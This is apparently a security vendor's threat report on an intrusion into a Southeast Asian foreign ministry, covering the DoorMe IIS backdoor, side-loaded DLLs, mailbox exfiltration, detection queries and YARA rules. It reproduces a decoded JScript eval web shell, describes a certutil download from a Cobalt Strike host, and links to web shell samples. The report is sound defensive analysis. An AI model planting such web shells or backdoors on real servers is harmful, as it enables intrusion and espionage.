<p>On November 28, 2022, we observed the loading of two DLL files, <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> through the execution of the <strong>iissvcs</strong> services using <strong>svchost.exe</strong>. Both <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> were loaded using the <strong>iissvcs</strong> module of the Windows Service Host through the execution of <strong>C:\Windows\system32\svchost.exe -k iissvcs</strong>. These malicious IIS modules are loosely based on the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">DoorMe</a> IIS backdoor.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image2.jpg" alt="DoorMe strings embedded in IIS backdoor module" /></p>
<blockquote>
<p>For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.</p>
</blockquote>
<p>During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the <strong>%windir%\System32\inetsrv</strong> directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.</p>
<p>The malicious module (C++ DLL) is first loaded through its export, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function">RegisterModule</a>. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class">CGlobalModule class</a> under the event handler <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method">OnGlobalPreBeginRequest</a>. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image10.jpg" alt="Class methods including malicious OnGlobalPreBeginRequest method" /></p>
<p>The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image8.jpg" alt="GET HTTP request with the authentication cookie" /></p>
<p>Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.</p>
<p>This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x42</td>
<td>Expects the string GenBeaconOptions</td>
<td>Generates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker</td>
</tr>
<tr>
<td>0x43</td>
<td>Shellcode blob</td>
<td>Execute the shellcode blob passed as a parameter in the current process</td>
</tr>
<tr>
<td>0x44</td>
<td>N/A</td>
<td>Write and Read from a specified named pipe</td>
</tr>
<tr>
<td>0x63</td>
<td>Shellcode blob in chunks</td>
<td>Similar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received</td>
</tr>
</tbody>
</table>
<p>From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly <strong>NtAllocateVirtualMemory</strong> , <strong>NtProtectVirtualMemory</strong> , and <strong>NtCreateThreadEx</strong> , to allocate the required shellcode memory and to create the executing thread.</p>
<h4>kk2.exe</h4>
<p>On November 30, 2022, an unknown binary called <strong>kk2.exe</strong> was executed on an Exchange server. While we have been unable to collect <strong>kk2.exe</strong> as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, <strong>mhyprot.sys</strong>. It is unclear if <strong>mhyprot.sys</strong> is downloaded, or embedded into, <strong>kk2.exe</strong>.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image3.jpg" alt="kk2.exe loading the vulnerable mhyprot.sys driver" /></p>
<p><strong>mhyprot.sys</strong> was detected by Elastic’s open code <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_VulnDriver_Mhyprot.yar">Windows.VulnDriver.Mhyprot YARA rule</a>, released in August 2022.</p>
<blockquote>
<p>For more information on how vulnerable drivers are used for intrusions, check out the <a href="https://www.elastic.co/cn/security-labs/stopping-vulnerable-driver-attacks">Stopping Vulnerable Driver Attacks</a> research Joe Desimone published in September 2022.</p>
</blockquote>
<p>As stated previously, we could not collect <strong>kk2.exe</strong> for analysis but it is likely that it used <strong>mhyprot.sys</strong> to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.</p>
<h4>Web shells</h4>
<p>The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.</p>
<p>The first attempt was to use the Microsoft <strong>certutil</strong> tool to download an Active Server Pages (ASPX) file ( <strong>config.aspx</strong> ) from a remote host (<strong>185.239.70[.]229</strong>) and save it as the <strong>error.aspx</strong> page on the Exchange Control Panel’s webserver. Because this IP address is a <a href="https://threatfox.abuse.ch/ioc/1023850/">known</a> Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite <strong>error.aspx</strong>.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image9.jpg" alt="Attempt to overwrite error.aspx with config.aspx from a known Cobalt Strike server" /></p>
<p>After attempting to use <strong>config.aspx</strong> from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file ( <strong>1.txt</strong> ), use <strong>certutil</strong> to decode the Base64 encoded Javascript ( <strong>2.aspx</strong> ), and then overwrite <strong>error.aspx</strong> with <strong>2.aspx</strong>. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image15.jpg" alt="Attempt to overwrite error.aspx with Javascript file" /></p>
<p>The Base64 encoded string decoded into the following Javascript:</p>
<pre><code>&lt;%@ Page Language=&quot;Jscript&quot; Debug=true%&gt;
&lt;%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form(&quot;daad&quot;);
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%
</code></pre>
<p>The preceding code is a simple web shell leveraging the <a href="https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/b51a45x6(v=vs.90)">eval Method</a>to evaluate JScript code sent through the POST parameter <strong>daad</strong>. Variations of this technique were attempted multiple times. Other attempts were observed to load <a href="https://github.com/ysrc/webshell-sample/blob/master/aspx/54a5620d4ea42e41beac08d8b1240b642dd6fd7c.aspx#L11">obfuscated versions</a> of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">China Chopper</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">Godzilla</a> <a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">web shells</a>.</p>
<h3>December 1–4, 2022</h3>
<h3>DLL side-loading</h3>
<p>On December 2, 2022, on two Domain Controllers, we observed a new DLL ( <strong>log.dll</strong> ) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: <strong>BDReinit.exe</strong> ), <strong>13802 AR.exe</strong>. Once executed, it will move to the **C:\ProgramData\OfficeDriver** directory, rename itself **svchost.exe** , and install itself as a service.</p>
<p>Once <strong>log.dll</strong> is loaded, it will spawn the Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and <strong>dllhost.exe</strong> and injects into them which triggers a memory shellcode detection.</p>
<p><em>Updated 2/2/2023: In our</em> <a href="https://www.elastic.co/cn/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"><em>updated research into SIESTAGRAPH, DOORME, and SHADOWPAD</em></a><em>, we identify</em> _ <strong>log.dll</strong> _ <em>as part of the SHADOWPAD malware family.</em></p>
<p>On December 2, 2022, another unknown DLL, <strong>Loader.any</strong> , was interactively executed with an Administrative account using <strong>rundll32.exe</strong>. <strong>Loader.any</strong> was observed executing two times on a Domain Controller and was then deleted interactively.</p>
<p>On December 3, 2022, we observed another malicious file, <strong>APerfectDayBase.dll</strong>. While this is a known malicious file, the execution was not observed. <strong>APerfectDayBase.dll</strong> is the legitimate name of a DLL in the import table of a benign-looking program, <strong>AlarmClock.exe</strong>.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image7.jpg" alt="Import table for AlarmClock.exe" /></p>
<p>This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage <strong>AlarmClock.exe</strong> as a side-loading target. Testing has confirmed that the DLL can be side-loaded with <strong>AlarmClock.exe</strong>. While not malicious, we are including the hash for <strong>AlarmClock.exe</strong> in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, <strong>APerfectDayBase.dll</strong>.</p>
<h2>Victimology and targeting motivations</h2>
<h3>Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/ref2924_diamond.jpg" alt="REF2924 diamond model" /></p>
<h3>Victimology</h3>
<p>The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with <a href="https://asean.org/what-we-do">ASEAN</a> (Association of Southeast Asian Nations).</p>
<p>ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).</p>
<p><img src="https://www.elastic.co/cn/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image12.jpg" alt="ASEAN and RCEP member countries" /></p>
<p>Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.</p>
<table>
<thead>
<tr>
<th>User</th>
<th>Collection Window</th>
<th>Collection Date(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>User 1</td>
<td>11/1/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 2</td>
<td>11/1/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 3</td>
<td>11/1/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 4</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 5</td>
<td>11/15/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 6</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 7</td>
<td>11/15/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 8</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 9</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 10</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 11</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 12</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 13</td>
<td>9/1/2022 - 11/30/2022</td>
<td>11/30/2022</td>
</tr>
<tr>
<td>User 14</td>
<td>9/1/2022 - 11/30/2022</td>
<td>11/30/2022</td>
</tr>
<tr>
<td>User 15</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 16</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 17</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 18</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 19</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 20</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 21</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 22</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 23</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 24</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
</tbody>
</table>
<p>As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.</p>
<h3>Targeting motivation</h3>
<p>There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.</p>
<p>If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.</p>
<p>ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.</p>
<h2>Detection logic</h2>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Binary Masquerading via Untrusted Path</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Process Execution from an Unusual Directory</a></li>
</ul>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_dcsync_replication_rights.toml">Potential Credential Access via DCSync</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml">Windows Service Installed via an Unusual Client</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_winrar_encryption.toml">Encrypting Files with WinRar or 7z</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_email_powershell_exchange_mailbox.toml">Exporting Exchange Mailbox via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/discovery_net_view.toml">Windows Network Enumeration</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_suspicious_certutil_commands.toml">Suspicious CertUtil Commands</a></li>
</ul>
<h3>Hunting queries</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).</p>
<p>The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.</p>
<pre><code>event.code : “malicious_file” and event.action : &quot;load&quot; and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*)
</code></pre>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.</p>
<pre><code># Hunt for DLL Sideloading using the observed DLLs:

library where
 dll.code_signature.exists == false and
 process.code_signature.trusted == true and
 dll.name : (&quot;log.dll&quot;, &quot;APerfectDayBase.dll&quot;) and
 process.executable :
           (&quot;?:\\Windows\\Tasks\\*&quot;,
            &quot;?:\\Users\\*&quot;,
            &quot;?:\\ProgramData\\*&quot;)

# Hunt for scheduled task or service from a suspicious path:

process where event.type == &quot;start&quot; and
 process.executable : (&quot;?:\\Windows\\Tasks\\*&quot;, &quot;?:\\Users\\Public\\*&quot;, &quot;?:\\ProgramData\\Microsoft\\*&quot;) and
 (process.parent.args : &quot;Schedule&quot; or process.parent.name : &quot;services.exe&quot;)

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == &quot;start&quot; and
 process.pe.original_file_name : &quot;windowss.exe&quot; and not process.name : &quot;windowss.exe&quot; and process.parent.args : &quot;Schedule&quot;

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == &quot;lookup_result&quot; and
 dns.question.name : &quot;graph.microsoft.com&quot; and process.code_signature.exists == false
</code></pre>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">SiestaGraph malware implant</a> and the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">DoorMe IIS backdoor</a>.</p>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        reference_sample = &quot;96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = &quot;.?AVDoorme@@&quot; ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

rule Windows_Trojan_SiestaGraph {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-14&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SiestaGraph&quot;
        threat_name = &quot;Windows.Trojan.SiestaGraph&quot;
        reference_sample = &quot;50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54&quot;
    strings:
        $a1 = &quot;downloadAsync&quot; ascii nocase fullword
        $a2 = &quot;UploadxAsync&quot; ascii nocase fullword
        $a3 = &quot;GetAllDriveRootChildren&quot; ascii fullword
        $a4 = &quot;GetDriveRoot&quot; ascii fullword
        $a5 = &quot;sendsession&quot; wide fullword
        $b1 = &quot;ListDrives&quot; wide fullword
        $b2 = &quot;Del OK&quot; wide fullword
        $b3 = &quot;createEmailDraft&quot; ascii fullword
        $b4 = &quot;delMail&quot; ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}
</code></pre>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0043/">Reconnaissance</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1589/">Gather victim information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1591/004/">Gather victim org information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit public-facing application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: Windows command-shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Powershell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1021/002/">Remote services: SMB/Windows admin shares</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack execution flow: DLL side-loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/004/">Masquerading: Masquerade task or service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/004/">Indicator removal: File deletion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/decode files or information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/sandbox evasion: Time based Evasion</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/003/">OS credential dumping: NTDS</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/002/">OS credential dumping: Security Account Manager</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/006/">OS credential dumping: DCSync</a></li>
<li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or modify system process: Windows service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/005/">Scheduled task/job: Scheduled task</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid accounts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server software component: IIS components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/003/">Server software component: Web shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1114/001/">Email collection: Local email collection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1560/001/">Archive collected data: Archive via utility</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1102/">Web service</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
</ul>
<h2>References</h2>
<ul>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme</a></li>
<li><a href="https://www.elastic.co/cn/security-labs/stopping-vulnerable-driver-attacks">https://www.elastic.co/cn/security-labs/stopping-vulnerable-driver-attacks</a></li>
<li><a href="https://threatfox.abuse.ch/ioc/1023850/">https://threatfox.abuse.ch/ioc/1023850/</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell</a></li>
<li><a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx</a></li>
</ul>
<h2>Observables</h2>
<p>All observables are also available <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc0eb869ac242975f/637bf8b1fa033a109b5d94bd/ref4526-indicators.zip">for download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>1a87e1b41341ad042711faa0c601e7b238a47fa647c325f66b1c8c7b313c8bdf</td>
<td>SHA-256</td>
<td>OfficeClient.exe and OfficeCore.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>7fc54a287c08cde70fe860f7c65ff71ade24dfeedafdfea62a8a6ee57cc91950</td>
<td>SHA-256</td>
<td>Officeclient.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>f9b2b3f7ee55014cc8ad696263b24a21ebd3a043ed1255ac4ab6a63ad4851094</td>
<td>SHA-256</td>
<td>officeup.exe</td>
<td>SIESTAGRAPH</td>
</tr>
<tr>
<td>c283ceb230c6796d8c4d180d51f30e764ec82cfca0dfaa80ee17bb4fdf89c3e0</td>
<td>SHA-256</td>
<td>Microsoft.Exchange.Entities.Content.dll</td>
<td>DOORME</td>
</tr>
<tr>
